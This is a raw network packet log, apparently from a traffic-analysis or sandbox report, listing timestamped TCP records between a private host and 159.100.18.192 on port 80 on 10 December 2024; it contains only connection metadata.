                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.671185970 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.671295881 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.671334982 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.672158957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.672239065 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.672274113 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.673032999 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.673139095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.673175097 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.673854113 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.673971891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.674011946 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.674756050 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.674854040 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.674887896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.675652981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.675740957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.675776005 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.676537991 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.676636934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.676671982 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.677419901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.677556992 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.677598953 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.678318977 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.678416967 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.678458929 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.679197073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.679316998 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.679358006 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.680111885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.680227995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.680264950 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.681037903 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.681162119 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.681201935 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.681932926 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.682041883 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.682086945 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.682851076 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.682940960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.682980061 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.683680058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.683880091 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.683923006 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.684586048 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.684689045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.684725046 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.685477018 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.730705023 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835222960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835423946 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835505009 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835562944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835691929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.835757017 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.836497068 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.836572886 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.836618900 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.837388039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.837430000 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.837481022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.838180065 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.838288069 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.838331938 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.839099884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.839211941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.839257002 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.840017080 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.840059996 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.840101957 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.840893984 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.841144085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.841190100 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.841800928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.842052937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.842101097 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.842645884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.842763901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.842804909 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.843561888 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.843687057 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.843732119 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.844465971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.844542980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.844583035 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.845338106 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.845494032 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.845536947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.846241951 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.846326113 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.846364975 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.847151041 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.847287893 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.847325087 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.848037958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.848153114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.848198891 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.848900080 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.849040985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.849081993 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.849805117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.849941015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.849982023 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.850724936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.850796938 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.850840092 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.851586103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.851692915 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.851737976 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.852483988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.852607012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.852652073 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.853384018 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.853472948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.853518009 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.854274988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.854378939 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.854419947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.855166912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.855279922 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.855330944 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.856069088 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.856206894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.856247902 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.856940985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.857084036 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.857121944 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.857840061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.857954979 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.858000040 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.858710051 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.858829975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.858875036 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.859638929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.859730959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.859771967 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.860542059 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.860649109 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.860688925 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.861435890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.861555099 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.861593008 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.862343073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.862601042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.862649918 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.863220930 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.863332033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.863368034 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.864084959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.864166021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.864206076 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.864993095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.865114927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.865161896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.865885019 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.866017103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.866061926 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.866810083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.866924047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.866970062 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.867677927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.867794037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.867830038 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.868556976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.868668079 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.868710995 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.869462013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.869616985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.869656086 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.870336056 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.870449066 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.870490074 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.871319056 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.871418953 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.871460915 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.872152090 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.872303963 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.872345924 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.873030901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.873142958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.873183966 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.873918056 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.874061108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.874106884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.874870062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.874933958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.874974966 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.875741005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.875922918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.875963926 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.876602888 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.876717091 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.876756907 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.877475023 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.877597094 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.877635956 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.878382921 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.878437042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.878478050 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.879302025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.879415035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.879453897 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.880218983 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.880372047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.880414963 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.881217957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.881387949 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.881432056 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.881979942 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:05.933839083 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.028907061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.028935909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.029162884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.029222012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.029352903 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.029402018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.030136108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.030240059 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.030287027 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.030992031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.031951904 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.031999111 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.032141924 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.032435894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.032480955 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.032625914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.033334970 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.033375978 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.033384085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.034220934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.034265041 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.034293890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.035105944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.035151005 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.035275936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036027908 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036072969 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036106110 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036895037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036936998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.036974907 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.037794113 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.037842035 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.037918091 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.038706064 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.038750887 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.038876057 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.039613962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.039659023 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.039736986 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.040476084 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.040519953 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.040592909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.041361094 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.041414022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.041476011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.042265892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.042319059 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.042344093 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.043144941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.043215990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.043278933 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.044054985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.044109106 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.044143915 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.044939041 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.044992924 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.045022011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.045907021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.045962095 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.045990944 CET8049747159.100.18.192192.168.2.4
